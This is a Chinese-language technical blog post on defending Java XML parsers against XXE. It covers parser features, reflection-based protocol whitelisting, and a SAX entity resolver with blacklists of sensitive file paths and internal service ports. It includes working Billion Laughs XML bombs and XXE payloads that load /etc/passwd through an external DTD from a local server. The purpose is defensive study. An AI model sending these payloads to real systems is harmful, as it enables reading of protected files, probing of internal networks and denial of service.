前言
很久没写文章了,之前做了一些XXE的调研,把记录的东西整理了一下。
正文
1.漏洞简介
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
`<?xml version=”1.0”> //xml声明`` ``<!DOCTYPE note [``<!ELEMENT note (to, from, heading, body)>``<!ELEMENT to (#PCDATA)> //文档类型定义``<!ELEMENT from (#PCDATA)>``<!ELEMENT heading (#PCDATA)>``<!ELEMENT body (#PCDATA)>``]>`` ``<note>``<to>George</to>``<from>John</from> //文档元素``<heading>Reminder</heading>``<body>Don’t forget the meeting</body>`
1.1 XXE漏洞原理
XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用。
`内部声明 DTD` `<!DOCTYPE 根元素 [元素声明]>`` ``引用外部 DTD` `<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">``/或者``<!DOCTYPE 根元素 SYSTEM "文件名">`
1.2 XXE漏洞利用
`libxml2:file、http、ftp``PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar``Java:file、http、ftp、https、jar、netdoc、mailto、gopher``.NET:file、http、ftp、https`
1.3 DDOS
XML document type definition (DTD)可以定义entity,DTD可以出现在外部文件或文件内部。利用DTD可以产生XML炸弹,也就是能迅速占用大量内存的文件,如下为例:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。
循环调用:
`<?xml version="1.0"?>``<!DOCTYPE lolz [``<!ENTITY lol "lol">``<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">``<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">``<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">``<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">``<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">``<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">``<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">``<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">``]>``<lolz>&lol9;</lolz>`
数据膨胀:
`<?xml version="1.0"?>``<!DOCTYPE lolz [``<!ENTITY lol "lollollollollollollollollollollolollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolllollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol">``]>``<lolz>&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;</lolz>`
2.XMLParser
XMLParser又根据实现不同分为了:
DOM
SAX
JDOM
DOM4J
具体区别请参考网上资料,下面我们主要看看DOM和SAX。
但是在继续之前我们需要了解XMLParser中的一个特性,Feature。
setFeature
Each XML processor implementation has its own features that govern how DTDs and external entities are processed.
每个XML处理器均允许我们使用Feature来控制DTD和外部实体的解析。
可以理解为一些官方配置,用于控制DTD解析逻辑。
看看其中两个比较常用的Feature:
disallow-doctype-decl定义:
`General Guidance``The safest way to prevent XXE is always to disable DTDs (External Entities) completely. Depending on the parser, the method should be similar to the following:``factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);``Disabling DTDs also makes the parser secure against denial of services (DOS) attacks such as Billion Laughs. If it is not possible to disable DTDs completely, then external entities and external document type declarations must be disabled in the way that's specific to each parser.``Detailed XXE Prevention guidance for a number of languages and commonly used XML parsers in those languages is provided below.`
该设置将完全禁止外部DTD的加载。也就是官方推荐防御XXE最好的解决办法。
FEATURE_SECURE_PROCESSING:
`FEATURE_SECURE_PROCESSING``public static final String FEATURE_SECURE_PROCESSING``Feature for secure processing.``true instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.``false instructs the implementation to process XML in accordance with the XML specifications ignoring security issues such as limits on XML constructs to avoid conditions such as denial of service attacks.``See Also:``Constant Field Values`
将外部实体中允许的协议设为空,相当于允许外部实体的加载,但是禁用协议,只允许一些常量的定义。
DOMParser
以如下代码为例看看Feature的作用:
`protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {` `String result="";` `if (request.getContentType().contains("xml")||request.){` `try {` `//DOM` `DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();` `factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTDs (doctypes),几乎可以防御所有xml实体攻击。``// String FEATURE = XMLConstants.FEATURE_SECURE_PROCESSING;``// factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);` `DocumentBuilder builder = factory.newDocumentBuilder();``// String[] wlist = (String[])getField(getField(builder,"fSecurityPropertyMgr"),"values");``// wlist[0] = "http,ftp";` `Document d = builder.parse(request.getInputStream());` `String c = getValueByTagName(d,"c");` `result = c;` `} catch (ParserConfigurationException e) {` `e.printStackTrace();` `} catch (SAXException e) {` `e.printStackTrace();`` ` `}` `response.setContentType("text/xml;charset=UTF-8");` `response.getWriter().append(result);` `}` `}`` ` `public Object getField(Object object, String fieldName) {` `Field declaredField;` `Class clazz = object.getClass();` `while (clazz != Object.class) {` `try {` `declaredField = clazz.getDeclaredField(fieldName);` `declaredField.setAccessible(true);` `return declaredField.get(object);` `} catch (NoSuchFieldException | IllegalAccessException e) {` `}` `clazz = clazz.getSuperclass();` `}` `return null;` `}`
设置disallow-doctype-decl:
设置FEATURE_SECURE_PROCESSING:
更多Feature可查看Xerces的官网阅读相关文档https://xerces.apache.org。
那如果我们希望Feature只禁用部分协议而非全部怎么办?
跟进DocumentBuilder的parser方法,看看FEATURE_SECURE_PROCESSING这条Feature是怎么实现的。
前面的解析逻辑比较冗杂,有兴趣的师傅可以跟一下,Entity的处理逻辑主要在于调用此处的XMLEntityManager.startEntity()方法:
在判断该实体属于外部实体后,XMLEntityManager将会执行一个checkAccess()方法:
allowedProctocols字段默认为空,查看的传入位置:
搜索allowedProctocols赋值操作的函数,发现每一次的parser操作都会触发reset()方法,XMLEntityManager会从XMLSecurityPropertyManager中获取字段给allowedProctocols赋值。
so,直接从对象中反射修改该字段即可:
`String[] wlist = (String[])getField(getField(builder,"fSecurityPropertyMgr"),"values");``wlist[0] = "file";`
成功通过checkAccess:
仅放行http:
`String[] wlist = (String[])getField(getField(builder,"fSecurityPropertyMgr"),"values");``wlist[0] = "http";`
远程加载的实体也需要经过上述过程,外部引用dtd自然无法绕过:
`//evil.dtd``<!ENTITY a SYSTEM "file:///etc/passwd">`` ``//payload``<!DOCTYPE c [``<!ENTITY % b SYSTEM "http://127.0.0.1:4444/evil.dtd">` `%b;` `]>``<c>&a;</c>`
3.更近一步
现在我们已经可以自定义可使用的URL协议白名单,那有没有更精确一点的判断方法?(比如业务中本身就会使用http与file等常见的协议)
URLhandler
很自然的我们会想到从URL协议处理器本身下手:
稍微跟一下可以看到用于获取handler的getURLStreamHandler方法:
`static URLStreamHandler getURLStreamHandler(String protocol) {`` ` `URLStreamHandler handler = handlers.get(protocol);` `if (handler == null) {`` ` `boolean checkedWithFactory = false;`` ` `// Use the factory (if any)` `if (factory != null) {` `handler = factory.createURLStreamHandler(protocol);` `checkedWithFactory = true;` `}`` ` `// Try java protocol handler` `if (handler == null) {` `String packagePrefixList = null;`` ` `packagePrefixList` `= java.security.AccessController.doPrivileged(` `new sun.security.action.GetPropertyAction(` `protocolPathProp,""));` `if (packagePrefixList != "") {` `packagePrefixList += "|";` `}`` ` `// REMIND: decide whether to allow the "null" class prefix` `// or not.` `packagePrefixList += "sun.net.www.protocol";`` ` `StringTokenizer packagePrefixIter =` `new StringTokenizer(packagePrefixList, "|");`` ` `while (handler == null &&` `packagePrefixIter.hasMoreTokens()) {`` ` `String packagePrefix =` `packagePrefixIter.nextToken().trim();` `try {` `String clsName = packagePrefix + "." + protocol +` `".Handler";` `Class<?> cls = null;` `try {` `cls = Class.forName(clsName);` `} catch (ClassNotFoundException e) {` `ClassLoader cl = ClassLoader.getSystemClassLoader();` `if (cl != null) {` `cls = cl.loadClass(clsName);` `}` `}` `if (cls != null) {` `handler =` `(URLStreamHandler)cls.newInstance();` `}` `} catch (Exception e) {` `// any number of exceptions can get thrown here` `}` `}` `}`` ` `synchronized (streamHandlerLock) {`` ` `URLStreamHandler handler2 = null;`` ` `// Check again with hashtable just in case another` `// thread created a handler since we last checked` `handler2 = handlers.get(protocol);`` ` `if (handler2 != null) {` `return handler2;` `}`` ` `// Check with factory if another thread set a` `// factory since our last check` `if (!checkedWithFactory && factory != null) {` `handler2 = factory.createURLStreamHandler(protocol);` `}`` ` `if (handler2 != null) {` `// The handler from the factory must be given more` `// importance. Discard the default handler that` `// this thread created.` `handler = handler2;` `}`` ` `// Insert this handler into the hashtable` `if (handler != null) {` `handlers.put(protocol, handler);` `}`` ` `}` `}`` ` `return handler;`` ``}`
在sun.net.www.protocol下我们可以看到支持的protocols以及其他的handler:
同时当前的TomcatURLStreamHandlerFactory中也支持war协议:
当时考虑的办法是通过重写Factory在调用真实handler之前加一层判断:
实现 URLStreamHandlerFactory 接口,然后调用URL.setURLStreamHandlerFactory
采用这种方式的情况下,需要确保应用的其他地方没有调用 setURLStreamHandlerFactory ,因为此方法只能调用一次,如果多次调用会抛出 java.lang.Error: factory already defined. 比如在一些应用服务器的中使用的时候就要多加注意。
例如:
`//设置factory``URL.setURLStreamHandlerFactory(new testURLStreamHandlerFactory());`` ``//testURLStreamHandlerFactory``public class testURLStreamHandlerFactory implements URLStreamHandlerFactory {` `public URLStreamHandler createURLStreamHandler(String protocol){` `if(protocol.equals("http"))` `{` `return new testURLStreamHandler();` `}` `return null;` `}`` ``}`` ``class testURLStreamHandler extends sun.net.www.protocol.http.Handler{`` ` `@Override` `protected URLConnection openConnection(URL u) throws IOException {` `if (check(u))){` `return null;` `}else {` `return super.openConnection(u);` `}` `}``}`` ``//check list``public boolean check(URL u){` ` for (int a=0; a<list.length; a++) {` `if (u.toString().contains(list[a])) {` `return true;` `}` `return false;``}`` ``//blacklist``public static String[] list = new String[]{` `//redis 未授权访问` `":6379",`` ` `//Elasticsearch 未授权访问` `":9200/_cat/indices",` `"/_cat/indices",` `":9200/_river/_search",` `"/_river/_search",` `":9200/_nodes",` `"/_nodes",` `":9200/_plugin/head/",` `"/_plugin/head",` `":9200",`` ` `//MenCache 未授权访问` `":11211",`` ` `//Mongodb 未授权访问` `":27017",`` ` `//Zookeeper 未授权访问` `":2181",` `.......``};`
后来在研究SAXParser时发现了另外一种办法。
SAXParser
`SAX(Simple API for XML)是一种基于事件的XML文档解析器。与DOM解析器``不同,SAX解析器不会创建解析树。 SAX是XML的流式接口,这意味着使用SAX的``应用程序接收有关正在处理的XML文档的事件通知元素和属性,从文档顶部开始按``顺序排列,然后关闭ROOT元素。`
SAXParser是事件驱动型的Parser,这意味着我们可以自定义各个元素的处理逻辑,同样我们主要关注Entity的处理部分:
参考如下代码:
`public class saxtest {`` ` `public static void main(String[] args) {` `saxXml();` `}`` ` `public static void saxXml()` `{` `long startTime = System.currentTimeMillis();` `try` `{` `// step 1: 获得SAX解析器工厂实例` `SAXParserFactory factory = SAXParserFactory.newInstance();` `SecurityManager securityManager =new SecurityManager();` `securityManager.setEntityExpansionLimit(4);`` ` `// step 2: 获得SAX解析器实例` `SAXParser parser = factory.newSAXParser();` `parser.setProperty("http://apache.org/xml/properties/security-manager", securityManager);` `//反射修改白名单` `String[] wlist = (String[])getField(getField(parser,"fSecurityPropertyMgr"),"values");` `wlist[0] = "http,file,war";`` ` `// step 3: 开始进行解析` `// 传入待解析的文档的处理器`` ` `File file = new File("/test/src/main/java/com/example/test/123.xml");` `FileInputStream fileInputStream = new FileInputStream(file);`` ` `parser.parse(data, new MyHandler());` `}` `catch (Exception e)` `{` `e.printStackTrace();` `}` `long endTime = System.currentTimeMillis();` `System.out.println("运行时间:" + (endTime - startTime) + "ms");`` ` `}`` ` `static class MyHandler extends DefaultHandler` `{` `private int count = 0;`` ` `private String value;`` ` `@Override` `public void startElement(String uri,` `String localName, String qName, Attributes attributes)` `{` `//遍历整个xml文件` `System.out.println("<" + qName);` `int len = attributes.getLength();` `for (int i = 0; i < len; i++)` `{` `System.out.println(attributes.getQName(i) + "=" + attributes.getValue(i));//得到节点的属性信息` `}` `System.out.println(">");`` ` `}`` ` `@Override` `public InputSource resolveEntity (String publicId, String systemId)` `throws IOException, SAXException` `{` `String str = "<!ENTITY test \"pass!\">";` `InputStream is = new ByteArrayInputStream(str.getBytes());` `int first = systemId.indexOf(":");` `String protocol = systemId.substring(0,first);` `System.out.println(systemId);`` ` `switch (protocol){` `case "file":` `for (int a=0; a<list1.length; a++) {` `if (systemId.contains(list1[a])) {` `//替换协议头使解析逻辑报错` `systemId = systemId.replaceFirst("file", "ban");` `return new InputSource(systemId);` `}` `else {` `continue;` `}` `}` `//设置stream使其不进行url解析` `InputSource inputSource1 = new InputSource(systemId);` `inputSource1.setByteStream(is);` `return inputSource1;`` ` `case "http":` `for (int a=0; a<list2.length; a++) {` `if (systemId.contains(list2[a])) {` `//替换协议头使解析逻辑报错` `systemId = systemId.replaceFirst("http", "ban");` `return new InputSource(systemId);` `}` `else {` `continue;` `}` `}` `//设置stream使其不进行url解析` `InputSource inputSource2 = new InputSource(systemId);` `inputSource2.setByteStream(is);` `return inputSource2;` `}` `return null;` `}`` `` ` `@Override` `public void characters(char ch[], int start, int length)` `{` `String str = new String(ch, start, length);// 将当前TextNode转换为String` `if (!"\n".equals(str))` `{`` ` `//value = str;` `System.out.println(String.valueOf(ch)+" "+str);//"当前节点中的值===>" +` `}` `}`` ` `@Override` `public void endElement(String uri,` `String localName, String qName)` `{`` ` `System.out.println("</" + qName + ">");` `}`` ` `}`` ` `public static Object getField(Object object, String fieldName) {` `Field declaredField;` `Class clazz = object.getClass();` `while (clazz != Object.class) {` `try {` `declaredField = clazz.getDeclaredField(fieldName);` `declaredField.setAccessible(true);` `return declaredField.get(object);` `} catch (NoSuchFieldException | IllegalAccessException e) {` `}` `clazz = clazz.getSuperclass();` `}` `return null;` `}``}``//``public static String[] list1 = new String[]{` `"/etc/group",` `"/etc/httpd/httpd.conf",` `"/etc/issue",` `"/etc/issue/net",` `"/etc/ssh/ssh_config",` `"/etc/termcap",` `"/etc/xinetd.d",` `"/etc/mtab",` `"/etc/vsftpd/vsftpd.conf",` `"/etc/xinetd.conf",` `"/etc/protocols",` `"/etc/logrotate.conf",` `"/etc/ld.so.conf",` `"/etc/wgetrc",` `"/etc/passwd",` `"/etc/shadow",` `.......``};`` `` `` ``public static String[] list2 = new String[]{` `//redis 未授权访问` `":6379",`` ` `//Elasticsearch 未授权访问` `":9200/_cat/indices",` `"/_cat/indices",` `":9200/_river/_search",` `"/_river/_search",` `":9200/_nodes",` `"/_nodes",` `":9200/_plugin/head/",` `"/_plugin/head",` `":9200",`` ` `//MenCache 未授权访问` `":11211",`` ` `//Mongodb 未授权访问` `":27017",`` ` `//Zookeeper 未授权访问` `":2181",`` ` `.......`` ``};`
XMLDTDScanner会调用XMLEntityManager来处理Entity,这里会有一个外部引用的判断:
调用wrapper:
最终会调用我们自定义handler中重写的resolveEntity方法:
demo如下:
`@Override``public InputSource resolveEntity (String publicId, String systemId)` `throws IOException, SAXException``{` `String str = "<!ENTITY test \"pass!\">";` `InputStream is = new ByteArrayInputStream(str.getBytes());` `int first = systemId.indexOf(":");` `String protocol = systemId.substring(0,first);` `System.out.println(systemId);`` ` `switch (protocol){` `case "file":` `for (int a=0; a<list1.length; a++) {` `if (systemId.contains(list1[a])) {` `//替换协议头使解析逻辑报错` `systemId = systemId.replaceFirst("file", "ban");` `return new InputSource(systemId);` `}` `else {` `continue;` `}` `}` `//设置stream使其不进行url解析``// InputSource inputSource1 = new InputSource(systemId);``// inputSource1.setByteStream(is);``// return inputSource1;` `return new InputSource(systemId);`` ` `case "http":` `for (int a=0; a<list2.length; a++) {` `if (systemId.contains(list2[a])) {` `//替换协议头使解析逻辑报错` `systemId = systemId.replaceFirst("http", "ban");` `return new InputSource(systemId);` `}` `else {` `continue;` `}` `}` `//设置stream使其不进行url解析``// InputSource inputSource2 = new InputSource(systemId);``// inputSource2.setByteStream(is);``// return inputSource2;` `return new InputSource(systemId);``}`` ` `return null;``}`
大概逻辑为,将根据不同协议的黑名单来检测systemID中的字段。
若存在黑名单字段则替换协议头使其在下一步进行getStreamhandler查找时抛出异常。
若不存在则正常返回InputSource(或者直接自定义返回一段InputStream跳过url解析,看具体用途)。
最终实现的效果如下:
`//payload``<?xml version="1.0" encoding="utf-8"?>``<!DOCTYPE x [` `<!ELEMENT name ANY >` `<!ENTITY % xxe SYSTEM "http://127.0.0.1:4444/123.dtd" >` `<!ENTITY % xxe1 SYSTEM "http://127.0.0.1:4444/evil.dtd" >` `%xxe;` `%xxe1;` `]>``<test123>&a;&b;</test123>`` ``//123.dtd``<!ENTITY b "123">`` ``//evil.dtd``<!ENTITY a SYSTEM "file:///etc/passwd">`
正常的外部实体引用行为不会收到影响,而含有敏感操作的行为将会被拦截。
后记
一篇零零碎碎的笔记,其实Xerces-J库本身就可以实现一大部分的XXE攻击防御,包括自带的SecurityManager也可以比较好的解决XML DOS的问题,但是若想从流量侧来进行防御又是完全不同的一码事了。
参考:
https://mp.weixin.qq.com/s/WiiLl2UMC6m6xs6eXw0\_OQ
漏洞环境: